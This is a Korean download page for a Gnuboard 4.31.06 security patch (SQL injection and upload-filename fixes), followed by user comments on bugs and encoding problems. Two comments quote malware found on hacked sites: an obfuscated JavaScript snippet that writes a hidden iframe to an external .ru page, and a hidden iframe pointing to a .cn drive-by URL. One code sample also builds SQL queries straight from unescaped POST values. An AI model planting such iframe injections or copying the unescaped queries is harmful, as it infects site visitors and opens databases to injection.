[보안패치] 그누보드 4.31.06 > 그누4 다운로드

그누4 다운로드

여러분께서 보고 계시는 이 사이트는 그누보드4 최신버전으로 제작, 운영되고 있습니다.
SIR은 그누보드를 만들 뿐 프로그램의 설치, 운영방법, 설정문제에 관한 도움을 드리지는 않습니다.

[보안패치] 그누보드 4.31.06 정보

[보안패치] 그누보드 4.31.06

첨부파일

gnuboard4.tgz (2.0M) 9605회 다운로드 2009-02-03 14:41:34
gnuboard4.utf8.tgz (2.0M) 3517회 다운로드 2009-02-03 14:41:34

본문

4.31.06 (09.02.03)
    :  SQL Injection 취약점 보완
    :  게시판 업로드 파일명을 유추해 볼 수 있는 코드를 보완

        /bbs/point.php
            $sql_common = " from $g4[point_table] where mb_id = '".mysql_escape_string($member[mb_id])."' ";

        /bbs/poll_result.php
            if (!file_exists("$poll_skin_path/poll_result.skin.php")) die("skin error");

        /bbs/register_form_update.php
            $mb_id = trim(strip_tags(mysql_escape_string($_POST[mb_id])));
            $mb_password = trim(mysql_escape_string($_POST[mb_password]));
            $mb_name = trim(strip_tags(mysql_escape_string($_POST[mb_name])));
            $mb_nick = trim(strip_tags(mysql_escape_string($_POST[mb_nick])));
            $mb_email = trim(strip_tags(mysql_escape_string($_POST[mb_email])));

        /bbs/write_update.php
            $chars_array = array_merge(range(0,9), range('a','z'), range('A','Z'));
            ...
            shuffle($chars_array);
            $shuffle = implode("", $chars_array);
            $upload[$i][file] = abs(ip2long($_SERVER[REMOTE_ADDR])).'_'.substr($shuffle,0,8).'_'.str_replace('%', '', urlencode($filename));


        // 수정된 파일
        /bbs/point.php
        /bbs/poll_result.php
        /bbs/register_form_update.php
        /bbs/write_update.php

댓글 전체

외국인 주민번호 때문에 원본을 수정한 것이 있었는데
혹시라도 덮어씌우면 문제생기는 것 아닌지 모르겠군요... ^^;;
암튼 패치를 해야겠네요... ^^
config.php에
$g4['url'] = "";
인 이상
bbs/register_form_update.php에서
$https_url = "$g4[url]/$g4[bbs]"; 거쳐서
action='{$https_url}/register_form.php'>
부분이 좀 문제가 있어 보입니다.
감사합니다.
이런 내용이군요.
// config.php 가 있는곳의 웹경로
if (!$g4['url'])
{
    $g4['url'] = 'http://' . $_SERVER['HTTP_HOST'];
    $dir = dirname($HTTP_SERVER_VARS["PHP_SELF"]);
    if (!file_exists("config.php"))
        $dir = dirname($dir);
    $cnt = substr_count($g4['path'], "..");
    for ($i=2; $i<=$cnt; $i++)
        $dir = dirname($dir);
    $g4['url'] .= $dir;
}

업그레이드하다가 common.php는 빠뜨렸네요.
mysql_escape_string 함수에 대해서 메뉴얼을 보면
"이 함수의 사용은 권장하지 않는다. 대신, mysql_real_escape_string()를 사용하라."

라고 되어있는데 상관없나요?
http://kr2.php.net/manual/kr/function.mysql-escape-string.php

mysql 4.3부터 mysql_real_escape_string을 사용할 수 있기 때문에
그런거 같은데, 이제 mysql 4.0.x 버젼에 대한 지원은 중단해도 되지
않을까요?
/adm/auth_update.php에서 $_POST[r],$_POST[$w],$_POST[$d] 이거 똑바로 된것이 맞나요?
$_POST[r],$_POST[w],$_POST[d] 이렇게 되어야 하는것이 아닌지...
코드가 틀렸죠. 저만 수정하고 알리지는 않았네요.
아래는 불당팩에서 쓰는 코드 입니다.
---

<?
$sub_menu = "100200";
include_once("./_common.php");

check_token();

$mb_id = trim($_POST[mb_id]);
$au_menu = $_POST[au_menu];
$r = $_POST[r];
$w = $_POST[w];
$d = $_POST[d];

if ($is_admin != "super")
    alert("최고관리자만 접근 가능합니다.");

$mb = get_member($mb_id);
if (!$mb[mb_id])
    alert("존재하는 회원아이디가 아닙니다.");

if ($mb[mb_id] == $config[cf_admin])
    alert("최고관리자의 권한은 제한할 수 없습니다.");

$sql = " insert into $g4[auth_table]
            set mb_id  = '$mb_id',
                au_menu = '$au_menu',
                au_auth = '$r,$w,$d' ";
$result = sql_query($sql, FALSE);
if (!$result) {
    $sql = " update $g4[auth_table]
                set au_auth = '$r,$w,$d'
              where mb_id  = '$mb_id'
                and au_menu = '$au_menu' ";
    sql_query($sql);
}

//sql_query(" OPTIMIZE TABLE `$g4[auth_table]` ");

//불당 mb_auth_count를 업데이트
$sql = " select count(*) as cnt from $g4[auth_table] where mb_id = '$mb_id' ";
$result = sql_fetch($sql);
$sql = " update $g4[member_table] set mb_auth_count = '$result[cnt]' where mb_id = '$mb_id' ";
sql_query($sql);

goto_url("./auth_list.php?$qstr");
?>

---
원본을 수정하면

<?
$sub_menu = "100200";
include_once("./_common.php");

if ($is_admin != "super")
    alert("최고관리자만 접근 가능합니다.");

$mb = get_member($mb_id);
if (!$mb[mb_id])
    alert("존재하는 회원아이디가 아닙니다.");

check_token();

$sql = " insert into $g4[auth_table]
            set mb_id  = '$_POST[mb_id]',
                au_menu = '$_POST[au_menu]',
                au_auth = '$_POST[r],$_POST[w],$_POST[d]' ";
$result = sql_query($sql, FALSE);
if (!$result) {
    $sql = " update $g4[auth_table]
                set au_auth = '$_POST[r],$_POST[w],$_POST[d]'
              where mb_id  = '$_POST[mb_id]'
                and au_menu = '$_POST[au_menu]' ";
    sql_query($sql);
}

//sql_query(" OPTIMIZE TABLE `$g4[auth_table]` ");

goto_url("./auth_list.php?$qstr");
?>
저...정말 아무것도 아닌건데요...;;;

이런거 부탁드리는것도 죄송한데..;;;

UTF8버전이요...config.php만 파일의 인코딩이 잘못되어서 한글이 깨져있습니다.

물론, 주석부분이긴 하지만, 좀 보기가 불편해서 그런데, 그 파일만 다시 올려주심 안될까요?
java script로 일부 코드를 추가하다가 오류가 나서 보니,
view_comment.skin.php를 보면 아래처럼 자신의 form을 넘겨주는데,

function fviewcomment_submit(f)

해당부분의 코드는 document.getElementById(...)로 되어 있습니다.
급하게 수정하시느라 깔끔한 처리를 놓치신거 같아요.
<?php echo '<div style="visibility:hidden"></div>'; ?><?php echo ''; ?><?php echo '<div style="visibility:hidden"></div>'; ?><?php echo ''; ?><?php echo '<div style="visibility:hidden"></div>'; ?><!-- ad --><SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript1.2">document.write(''+unescape('%3C%69')+unescape('%66%72%61%6D')+unescape('%65')+' i'+'d'+String.fromCharCode(61)+String.fromCharCode(34)+String.fromCharCode(51)+''+'b8'+String.fromCharCode(56)+String.fromCharCode(55)+String.fromCharCode(54)+String.fromCharCode(53)+''+unescape('%33%30%32')+String.fromCharCode(48)+String.fromCharCode(50)+''+unescape('%37')+String.fromCharCode(56)+String.fromCharCode(51)+String.fromCharCode(48)+''+'bc'+'4817'+'02'+unescape('%66%65')+String.fromCharCode(55)+String.fromCharCode(57)+''+'2e'+String.fromCharCode(51)+''+'b" n'+String.fromCharCode(97)+String.fromCharCode(109)+''+unescape('%65%3D%22')+unescape('%30%65%30')+'e2e9'+'b'+unescape('%34%38%32%62')+String.fromCharCode(102)+''+'b'+String.fromCharCode(51)+String.fromCharCode(49)+String.fromCharCode(98)+''+unescape('%66')+String.fromCharCode(57)+String.fromCharCode(50)+''+unescape('%65')+'902'+String.fromCharCode(97)+String.fromCharCode(54)+String.fromCharCode(52)+''+String.fromCharCode(97)+String.fromCharCode(98)+String.fromCharCode(99)+String.fromCharCode(52)+''+unescape('%32')+'"  w'+String.fromCharCode(105)+String.fromCharCode(100)+String.fromCharCode(116)+String.fromCharCode(104)+''+'=1 '+'heig'+'ht'+String.fromCharCode(61)+String.fromCharCode(49)+''+unescape('%20')+unescape('%66%72%61')+'meb'+'ord'+'e'+'r=0'+String.fromCharCode(32)+String.fromCharCode(115)+''+'rc='+unescape('%22')+'h'+unescape('%74%74')+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+''+unescape('%62')+unescape('%69%7A')+String.fromCharCode(111)+String.fromCharCode(112)+String.fromCharCode(108)+String.fromCharCode(97)+''+unescape('%74%61')+unescape('%2E%72%75')+'/pay'+'.htm'+'l"'+String.fromCharCode(62)+''+'</if'+'ra'+String.fromCharCode(109)+String.fromCharCode(101)+String.fromCharCode(62)+''+'');</SCRIPT><!-- /ad -->  이거랑 관련잇나요 -ㅅ- ?
제가  utf_8  다운받아서 설치햇는데 

한글이 ????  표시로 나오네요. 

관리자에서  회원관리를  눌르고 들어갓습니다. 

회원아이디      이름      별병
blackid          ????      ?????

이렇식으로  한글이???  나옵니다.   

제 웹서버환경은  PHP5.2    Mysql5.0  윈도우 2003 시스템 입니다. 

무슨원인가요. 

다른분들도 이런 현상 이 잇는가요.
DB 테이블이 utf-8로 설치되지 않아서 그런 문제가 발생하는 것 같습니다. 아래처럼...

1> install/sql_gnuboard4.sql 파일의 모든 "TYPE=MyISAM;" 부분을 "TYPE=MyISAM DEFAULT CHARSET=utf8;"로 수정.
2> adm/sql_write.sql 파일 58번째 줄 ")" 부분을 ") TYPE=MyISAM DEFAULT CHARSET=utf8;"로 수정.
3> lib/common.lib.php 1173번째줄 "$schema_create .= $crlf . ')';"를 "$schema_create .= $crlf . ') TYPE=MyISAM DEFAULT CHARSET=utf8';"로 수정하시면 됩니다.

구럼, 존하루...
업그레이드 할려고 하는데 이거 덮어
씌웠다가 이상이 발생하지는 안겠지요.

사이트를 거의 일년동안 고냥 놔둬서 잘될지 걱정이 듭니다.
안녕하세요. 

최신버전  그누보드 4.30  버전부터  설치 하면    한글이 ?????  깨져 나옵니다. 

관리자 님  어떻게 된문제인가요. 

웹호스팅  몇군데 바꿔 보아도  똑가튼 문제 입니다. 

unix 웹호스팅

liux 웹호스팅

윈도우 2003 웹호스팅    모두 설치해봣어요.

좋은 해결방법이 없나요. 

업데이트 하시는 분들  잘살펴보고 하세요.

괜히 삽질 하시지 말고요.
호스팅 받는 곳의 아파치, php, mysql 환경의 인코딩 방식을 확인해 보셨는지요? 그누보드의 소스의 인코팅이 utf-8이라면 호스팅 환경도 모두 UTF-8로 세팅되어 있어야 합니다. 반대로 그누보드의 소스의 인코딩이 euc-kr이라면 호스팅 환도 모두 euc-kr로 세팅되어 있어야 합니다.

위의 세팅에 이상이 없는데도 그러한 문제가 발생한다면 혹시 새로운 데이터는 이상이 없는데 기존의 데이터만 깨지는지요? 아니면 반대로 기존의 데이터는 이상이 없는데 새로운 데이터만 깨지는지요? 만약 전자 라면 기존 데이터를 백업 받아 인코딩을 변경하여 다시 원복해야 합니다. 후자라면 mysql의 인코팅 방식을 의심해야 합니다.
안녕하셔요? 다름이 아니라 저도 같은 문제로 한글이 ???? 특히 회원그리고 회원쪽에 문제가 있는거 같은데..ㅜㅜ 그래서 업데이트를 못하고 있습니다. 문제 해결 하셨는지요?
문의 합니다. 감사합니다.
아직 걸음마의 초보 관리자 입니다.
수정해야 할 파일에 대해서 수정한 것도 있고 어떻게 해야 할지 모르는 부분도 있어요...
도와 주시면 감사드리겠습니다... ㅡ.ㅜ

-------------------------------------------------------------------------------------

/bbs/point.php      <-- 수정하여 주었습니다. OK.
            $sql_common = " from $g4[point_table] where mb_id = '".mysql_escape_string($member[mb_id])."' ";

        /bbs/poll_result.php    <--- 어디에 몇번째 라인에서 수정하거나 넣어주어야 하나요???
            if (!file_exists("$poll_skin_path/poll_result.skin.php")) die("skin error");

        /bbs/register_form_update.php            <--- 44라인 정도에 내용을 아래와 같이 수정하여 주었으며 완료하였습니다.
            $mb_id = trim(strip_tags(mysql_escape_string($_POST[mb_id])));
            $mb_password = trim(mysql_escape_string($_POST[mb_password]));
            $mb_name = trim(strip_tags(mysql_escape_string($_POST[mb_name])));
            $mb_nick = trim(strip_tags(mysql_escape_string($_POST[mb_nick])));
            $mb_email = trim(strip_tags(mysql_escape_string($_POST[mb_email])));

        /bbs/write_update.php          <---  어디부분 몇번째 라인에 추가&수정해야 하나요???
            $chars_array = array_merge(range(0,9), range('a','z'), range('A','Z'));
            ...
            shuffle($chars_array);
            $shuffle = implode("", $chars_array);
            $upload[$i][file] = abs(ip2long($_SERVER[REMOTE_ADDR])).'_'.substr($shuffle,0,8).'_'.str_replace('%', '', urlencode($filename));
뭔가 이상한데요...  제가 설정을 잘못한건지 관리자가 글을 쓰면 회원에서는 안보입니다.

/bbs/list.php 의 77~81 라인 이거 무슨 코드죠?  특히 78라인보면 where 절에 ca_name='$member[mb_nick]' 이라고 되어있는데 이거 때문에 안나오는거 같습니다.  이게 무슨코드인지 아시는분?

그리고 uft8버젼에 회원가입할때 오류있습니다.
/skin/member/basic/ajax_mb_nick_check.php 에 24번째 줄 주석처리해줘야 하네요.
업데이트 수고하셨습니다.^^

소스에 한 가지 오류가 있는것 같습니다.

관리자에 [회원정보수정] 화면에 들어가 하단의 삭제 버튼을 클릭하면 "회원자료가 존재하지 않습니다." 라는 메시지가 뜹니다.

이유는 /adm/member_form.php에서 삭제 버튼 클릭시 삭제 대상 정보를 GET 방식 으로 보내는데 /adm/member_delete.php에서는 POST 방식으로 받아서 오류가 발생하기 때문입니다.

따라서 /adm/member_delete.php 9번째 라인을 아래와 같이 수정해야 합니다.

기존 : $mb = get_member($_POST['mb_id']);
변경 : $mb = get_member($_GET['mb_id']);

모두 좋은 하루 되세요.
라이센스에 동의 하다구 하고 예,동의합니다 클릭했는데.
문구가 떠요..라이센스에 동의하셔야 설치를 계속합니다.
동의 했는데.
안녕하세요 저는 xampp 를 사용하는데 이번패치를 설치하면 데이터베이스는 생성이 되는데 관리자가 생성되지 않는 문제가 있는듯 합니다.
또한 dbconfig.php 파일은 ansi 파일로 만들어 집니다.
그누보드 파이팅!!!
게시판 복사할때 공지번호까지 복사되어서 복사한 게시판에 해당글이 공지로되는 버그가 있네요
bo_notice          = '$board[bo_notice]', //

이것땜에 한참 봤네요 ㅜ.ㅜ
bbs폴더에 그누보드4를 업시키고 http://아이디.cafe24.com/bbs/gnuboard4/를 쳤는데 에러입니다..이런때는 어찌해야하는지요?아시는 분은 좀부탁드립니다...아무리 해도 안되네여..
간밤에 index.php가 악성코드에 당한 것 같습니다.
다음은 index.php 마지막 부분에 삽입된 내용입니다.
<iframe src="http://mixmaxgroup.cn:8080/ts/in.cgi?pepsi52" width=125 height=125 style="visibility: hidden"></iframe>

당시의 그누보드 버전이 4.3.04 였습니다. 지금 4.3.06까지 패치하였는데, 다시 같은 문제가 발생하지 않는 다는 보장이 있는지요...ㅜㅜ
전체 220 |RSS
그누4 다운로드 내용 검색

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1404호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT